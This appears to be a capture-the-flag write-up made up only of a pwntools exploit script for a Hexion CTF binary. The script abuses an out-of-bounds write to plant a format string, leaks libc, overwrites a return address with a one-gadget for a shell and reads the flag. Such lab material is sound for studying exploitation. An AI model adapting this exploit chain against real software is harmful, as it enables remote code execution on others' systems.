Rating:
```python
from pwn import *
def write(anything, anywhere):
p.sendline(str(anywhere + 0))
p.sendline(chr((anything & 0xff) >> 0))
p.sendline(str(anywhere + 1))
p.sendline(chr((anything & 0xff00) >> 8))
p.sendline(str(anywhere + 2))
p.sendline(chr((anything & 0xff0000) >> 16))
p.sendline(str(anywhere + 3))
p.sendline(chr((anything & 0xff000000) >> 24))
p.sendline(str(anywhere + 4))
p.sendline(chr((anything & 0xff00000000) >> 32))
p.sendline(str(anywhere + 5))
p.sendline(chr((anything & 0xff0000000000) >> 40))
p.sendline(str(anywhere + 6))
p.sendline(chr((anything & 0xff000000000000) >> 48))
p.sendline(str(anywhere + 7))
p.sendline(chr((anything & 0xff00000000000000) >> 56))
p = remote('challenges1.hexionteam.com', 3002)
# context.terminal = ["tmux", "splitw", "-h"]
# p = gdb.debug('./www', env={'LD_PRELOAD' : './libc'})
printf = 0x601020
main = 0x400778
ret = 0x40056e
p.sendline('-7')
p.sendline('\xff')
p.sendline('0')
p.sendline('%')
p.sendline('1')
p.sendline('2')
p.sendline('2')
p.sendline('9')
p.sendline('3')
p.sendline('$')
p.sendline('4')
p.sendline('p')
write(ret, 45)
write(main, 53)
p.sendline('-7')
p.sendline('\x00')
data = p.recvuntil('!')
libc_base = int(data.split()[0], 16) - 0x401733
gadget = libc_base + 0x4f2c5
log.info('libc_base: %s' % hex(libc_base))
log.info('gadget: %s' % hex(gadget))
p.sendline('-7')
p.sendline('\xff')
write(gadget, 45)
p.sendline('-7')
p.sendline('\x00')
p.recvuntil('!')
p.sendline('cat flag')
print p.recvline().split()[0]
```